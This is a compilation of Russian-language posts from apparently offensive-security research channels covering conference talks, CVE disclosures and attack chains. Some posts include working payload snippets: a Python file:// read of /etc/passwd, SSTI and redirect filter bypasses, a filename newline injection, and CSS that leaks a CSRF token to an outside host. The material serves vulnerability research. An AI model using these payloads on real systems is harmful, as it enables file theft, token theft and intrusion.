hx0110

Всем привет! В последнее время дошли руки - досматриваю то, что не успел посмореть с black hat usa 2025. За что люблю блэкхэт - так это за глубину ресерчей. Так вот в Cross-Origin Web Attacks via HTTP/2 Server Push and Signed HTTP Exchange для меня показалось очень интересным наличие новго для меня типа origin. Как мы знаем, понятие origin - одно из осново пологающих в browser security. Важнейший механизм SOP, а в дальнейшем и его послабление в виде CORS-a и иных политик, оперируют им. Так вот, для меня было нормой воспринимать origin-ы так: 1. tuple origin (schema+host+port) - классическое понимание ориджина 2. opaque/null origin - при спицефичных схемах data://, file://, при выставлении атрибута sandbox в iframe и некоторых иных случаях Автор ресерча подсветил так называемый SAN-based origin: «HTTP/2 and HTTP/3 consider any hosts listed in the SAN of the certificate are same origin». Так как TLS сертефикаты с Subject Alternative Name, в котором находится wildcard домен, выписываются достаточно часто это открывает новую поверхность для Cross Origin attack В частности, автор рассматривает два типа атак: CrossPUSH и CrossSXG. Конечно же, как и многие из подобных "тонких" типов атак, они требуют много вводных. Однако в докладе ресерчер показал реальный кейс эксплуатации при наличии domain takeover. Советую глянуть, всем спасибо!) #web #browser #origin

Удаленная отладка Go Всем привет! Буквально вчера мне подтвердили регистрацию еще одной CVE - на этот раз в Gitea. И как раз по этому поводу решил наконец-то начать серию статей про удаленную отладку. Тема очень полезная не только для разработчиков, но и для тех, кто занимается поиском уязвимостей. Я подготовил первую часть в формате блога: ❗️Remote Debugging for Vulnerability Research (Part 1. Go lang) В первой части разбираю удалённую отладку на практическом примере Gitea. Формат для меня новый, так что не судите строго - буду очень благодарен любому фидбеку. Всем спасибо!) #remotedebugging #vulnresearch

Первая CVE! Всем привет! Давно я не писал ничего от себя. Ну, во-первых, всех с наступившим Новым годом, друзья! :) На самом деле большую часть свободного от работы времени в 2025 году я потратил на VulnResearch. В частности, цель была — начать находить уязвимости в опенсорсе. И цель, как мне кажется, была выполнена. На момент написания у меня лежит 7 уязвимостей (3 из которых — в продуктах с 44 000+ звёзд на GitHub). На самом деле я очень сильно пострадал именно от процесса регистрации CVE на эти уязвимости. Везде встречались какие-то проблемы. Я репортил разным вендорам через разные CNA, но так и не нашёл CNA, через которого процесс регистрации происходил бы безболезненно. И вот наконец вчера, спустя полгода эпопеи, я получил свой первый идентификатор - CVE-2025-59473. Осталось 6 :))))) В этой конкретной уязвимости нет ничего особенного, поэтому не вижу смысла о ней рассказывать. Надеюсь, получится довести процесс с некоторыми остальными уязами, и там уже поделиться детальным репортом. Всем, кто остаётся тут со мной, даже несмотря на моё долгое отсутствие, - большое спасибо, друзья! https://nvd.nist.gov/vuln/detail/CVE-2025-59473 #vulnresearch #cve

🎇 сводка по react2shell безумию events * китайские группировки сориентировались за 30 часов и начали раскидывать майнеры монеро и LD_PRELOAD руткиты * добрые (😈) хакеры пробивают таргеты и затем патчат их, устраивая дефейс с "сервер уязвим, фиксаните пж" * Vercel вышли на h1 с программой по обходам их WAF. платят 50к$ за обход react2shell. уже получили репортов на 750к$ facts * легче обновиться, чем защищаться waf'ом * все сдают react2shell в бб и надеются на деньги * багхантеры написали браузерное расширение на детект * nuclei добавили смешные правила на детект (кто пропустит сложение чисел в powershell?) vuln * в эксплойтие, для массовых детектов, в _prefix используют js функции вместо child_process (curl не всегда есть в контейнере, но fetch() всегда есть в node runtime) * react2shell не оставляет следов на диске, от чего все жалуются на сложность детекта * уязвим не только next.js, но и прочее во влиянии react rsc: react router, vite rsc, parcel rsc, waku, redwood sdk слушай, вОЛьТаЖ, а что почитать? не хочу вникать в килотонны текста Включай этот absolute cinema. Это будут лучшие 40 минут за день. https://youtu.be/tdDHUoi_TdQ https://youtu.be/tdDHUoi_TdQ https://youtu.be/tdDHUoi_TdQ Автор содрал кожу с реакта, расставил в нём брейкпоинтов и прошёлся по всему пути эксплоита, объясняя логику внутренностей реакта на важных чекпоинтах (их больше 20) Если останутся силы, затем нырни в килотонну текста от CEO Vercel. После видео - it's starting to make sense https://x.com/rauchg/status/1997362942929440937

Fortinet vulnerability chain Исследователь уязвимостей Yaniv Nizry из Sonar,компании, занимающейся разработкой всем известного SAST-а SonarQube, продемонстрировал возможность компрометации множества узлов в сети при помощи EMS (Endpoint Management System). Цепочка действительно получилась очень красивой! 1. XSS для администратора. 2. Через неё — изменение адреса EMS для всех endpoint-ов на malicious EMS. 3. Эксплуатация цепочки XSS → RCE в Electron через функциональность отправки сообщений (обход sandbox благодаря CVE-2021-21224). 4. Демонстрация LPE для macOS-endpoint-ов за счёт возможности произвольного вызова XPC и функциональности, связанной с карантином. Как результат — захват большого количества узлов сети. В общем, получился очень крутой доклад по Vuln Research-у. Лично мне всегда интересно наблюдать за подобными цепочками, связанными с различными СЗИ. Из-за их специфики (особенно в случае с endpoint-решениями) они обладают повышенными привилегиями в системе и потенциально опасной функциональностью. Если злоумышленник получает к ним доступ, последствия могут быть крайне серьёзными. Сам доклад: https://www.youtube.com/watch?v=sfjxjWsy1UA ❗️ #vulnresearch #chain

рабочий PoC CVE-2025-55182 подвез maple3142 https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3

А вот теперь все серьезно :)

file://localhost/etc/passwd что вернёт? Да, вернётся /etc/passwd. В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path> Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS. питон пок from urllib.request import urlopen content = urlopen( "file://yoogle.com/etc/passwd", timeout=2, ).read().decode('utf-8') print(content) Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня. В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними. Представим, ты нашёл SSTI, но WAF блокирует символ $ Что делать? Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}. Пример обхода фильтра \N{dollar sign}{7*7} == ${7*7} == 49 Уже на стену лезешь? Погоди, я с тобой ещё не закончил. Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename? В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱 # RFC 6266 filename="image.png" # RFC 8187 filename*=UTF8''image%0a.png RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через % То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется. . . . FOMO карусель закрыта. Как восстановишь силы, пробегись по статье автора ради: ⚀ разбор CVE из-за проблем синтаксиса [^] ⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^] ⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^] Затем разнеси CTF по ресерчу 1. обход фильтров SSTI [^] 2. иной подход к протоколу file:// [^] 3. пролом parse_url в PHP [^] #web #waf_bypass

Подготовил для вас подробное руководство по тестированию на проникновение Outlook Web Access (OWA). 😈 ➡️ В статье я разобрал все основные атаки и уязвимости OWA. Собрал и структурировал самое полезное в одном месте. ➡️ Также материал идеально подойдет для тех, кто все еще путает между собой OWA, Outlook и MS Exchange :) Даже если вы раньше не сталкивались с почтовыми сервисами Microsoft, после прочтения смело можете бежать проверять их на безопасность. 🥤 Ссылка на статью 💫 @pentestnotes | #pentest #OWA #Exchange

опять фортик :) https://labs.watchtowr.com/should-security-solutions-be-secure-maybe-were-all-wrong-fortinet-fortisiem-pre-auth-command-injection-cve-2025-25256/ #vuln

Code execution via Site-Specific Configuration Hooks В статейке нашел очень интересный метод эксплуатации File write to RCE в Python за счет использования функционала site-specific configuration hooks. (Он конечно не новый, но мне показалось очень интересным)…

Offensive Con Конференция, записи с которой, если честно, я очень ждал!) https://www.youtube.com/watch?v=kF31SYIVob8&list=PLYvhPWR_XYJk0p40BrX7K2z-_j_tJmvhc&ab_channel=OffensiveCon #offensive #conf

Authentication Bypass to RCE in Versa Concerto На прошедшем phd ребята из project discovery представили несколько своих зиродеев. Сам доклад можно глянуть тут. Одним из таргетов была Versa Concerto: Versa Concerto is a widely used network security and SD-WAN orchestration platform Их ресёрч вышел совсем недавно, и в нём разобраны отличные находки, которые собираються в красивую цепочку: 1. Auth bypass за счет TOCTOU 2. Примитив записи файла (однако файл быстро удалялся из-за отсутствия токена доступа) 3. Race condition to RCE - имея примитив из п.2, остаеться попасть в race window, загрузив ld.so.preload, ссылающуюся на hook.so, и саму вредоносную либу hook.so, которая будет подгружена. 4. Так как каждые 10 секунд внутри контейнера запускается curl, необходимо, чтобы в момент его запуска и ld.so.preload, и hook.so находились в системе. Как только все условия выполнены — RCE (пока в контейнере). ❗️Также упоминается уязвимость hop-by-hop headers, которая позволяет получить административный доступ и, например, выполнить п.3 и п.4 без необходимости попадания в race window. 5. Поскольку каталоги /usr/bin и /bin контейнера были примаунчены к одноимённым каталогам хостовой ОС, и на хосте по умолчанию работал cron, появилась возможность перезаписать бинарный файл и добиться его исполнения уже на хосте, что позволило получить RCE на хостовой машине. Красиво!🔥 Ресерч: https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce #web #vulns

Год назад эту защиту нельзя было обойти, однако сейчас это стало реально. Про интересную особенность рассказали в X. Дело в том, что раньше нельзя было использовать точку в протоколе, но теперь браузер Chromium ее поддерживает (URL вернет действительное имя хоста с любым недействительным протоколом, даже с точкой) Соответственно, мы можем использовать пэйлоад типа evil.com://www.example.com. Хост www.example.com будет в списке разрешенных, к параметру добавится префикс «https://» и мы получим редирект на https://evil.com//www.example.com. #web #bypass

SO-CON 2025 Потихоньку выходят записи с прошедшей SO-CON много классных докладов в оффенсиве: - The Cat Chronicles: Breaking Sandboxes and Snatching Cookies - Modern macOS Red Teaming Tactics - Большое колличество адешнх докладов В общем, есть что глянуть!) https://youtube.com/playlist?list=PLJK0fZNGiFU-WmPyQew-o58t6OtwSruGb&si=4h7q7MdAA8kuwgas #conf #offensive

watchtowr Сегодня вышел еще один классный ресерч у watchtowr. На самом деле очень люблю читать их ресерчи, очень близок их подход к написанию и в целом то, как они показывают весь процесс поиска уяз https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/ #web #research

Вчера как обычно сделал обычный пост в соц сети Илона Маска, который довольно сильно разошелся. Поэтому для тех кто читает только мой тг повторю тут. Думаю многие знакомы с CSS exfiltration, а если нет можете прочитать статью 2 летней давности на portswigger Основная идея тогда заключалась в том, чтобы с помощью CSS селекторов брутфорсить атрибуты тегов: input[value^="a"] { --starts-with-a:url(/startsWithA); } Например так можно украсть CSRF токен, однако атака довольно нестабильная, медленная и тд. Довольно плохо реализуема. Однако я обнаружил, что начиная с Chrome 133 произошло важное изменение в функции CSS attr, раньше она могла использоваться только с content property, теперь же вы можете использовать её вместе с переменными CSS (https://developer.chrome.com/blog/advanced-attr): form { --val: attr(csrf-token); } --val будет содержать содержать значение атрибута csrf-token Однако мы не можем использовать такое внутри url: form { --val: attr(csrf-token); background: url(var(--val)); /* Correct */ } Браузер просто проигнорирует такой property как неверный Однако на помощь опять спешат новые стандарты CSS, чтобы добиться успеха достаточно использовать image-set form { --val: attr(csrf-token); background: image-set(var(--val)); /* Correct */ } После чего просто сохраняете стиль с кражей нужного поля (например атрибута value у тега input с именем csrf-token) И делаете @import с атакуемой страницы : @import url(https://pocs.neplox.security/css-2025-exfiltration.css); После чего, как можно увидеть на скриншоте, через один запрос вы получите полное значение атрибута тега

Представим ситуацию, у нас реализуется web-приложение с stateless сессиями — с использованием accessToken. Пользователь проходит аутентификацию, и backend-сервер выпускает accessToken и передает его клиенту. Классический вопрос: «Где хранить accessToken на клиенте?». Если JS-коду не нужно взаимодействовать с токеном, то единственным безопасным вариантом является хранение токена в Cookie с атрибутами HttpOnly, SameSite, Secure. Однако, как быть, если такая необходимость есть? Хранить токен в localStorage? 😏Чем плохо такое решение? Если хранить accessToken в localStorage, то при XSS у злоумышленника будет доступ к хранилищу браузера, и токен может быть украден. На практике мне встречалась реализация, где разработчики и рыбку съели и токен хранили в Cookie, и подставляли его в HTTP Header через JS. Как? Всё просто — они реализовали API, который возвращает в теле ответа все Cookie, которые передавались в HTTP запросе. JS-код брал токен из ответа и подставлял в HTTP заголовок Bearer для следующего запроса. По сути это обход защиты атрибута HttpOnly. 😏Чем плох этот вариант? Помимо XSS, при небезопасной конфигурации CORS, злоумышленник сможет получить токен жертвы из ответа сервера, заманив ее на подконтрольный ресурс. Существует еще одно решение — хранить токен в переменной JS и обернуть его в замыкание. Однако у злоумышленника останется возможность влиять на контекст выполнения. Поэтому, более безопасный метод - предотвратить вмешательство с помощью XSS в среду выполнения, которая имеет токен, достигая изоляции контекста. В веб-фронтенде это можно сделать с помощью Web Workers. Web Workers это механизм, который позволяет скрипту выполняться в фоновом потоке, который отделен от основного потока веб-приложения. Идея заключается в том, чтобы поместить все запросы API в рабочий поток. Благодаря изоляции среды выполнения, если в рабочем потоке нет XSS, основной поток не может вмешаться в рабочего и не может получить доступ к его данным. Это обеспечивает безопасность токена. Web Worker делится на три вида: • Dedicated workers: используется только одним скриптом • Shared workers: может использоваться несколькими скриптами в разных окнах/фреймах. • Service Workers: выполняет роль прокси-сервера для взаимодействия между веб-приложением, браузером и сетью. 🔍 В этой статье описывается пример использование Dedicated Worker и обоснование отказа от Service Worker. 🔍 В этой статье, напротив, используется Service Worker + описываются другие примеры использования «прослойки» между фронтом и беком. Например, в кейсе, который я описывал выше (с API, которая возвращает Cookie в ответе), можно было бы использовать прокси на бэке, отказавшись вовсе от работы JS-кода с токеном в браузере пользователя.

Подготовил для вас самый большой на данный момент гайд по тестированию CMS Bitrix. 😈 ➡️Причем, в статье я не только показал все существующие на данный момент известные методы и техники поиска уязвимостей в битриксе, но и поделился своими уникальными наработками. Включая атаки на кастомные модули и анонс собственного сканера под CMS Bitrix. ➡️Также добавил материалы по структуре модулей и матчасть по самому Битриксу. Даже если вы только знакомитесь с этой CMS, после прочтения точно что-нибудь найдете)🥤 Ссылка на статью 💫 @pentestnotes | #pentest #bitrix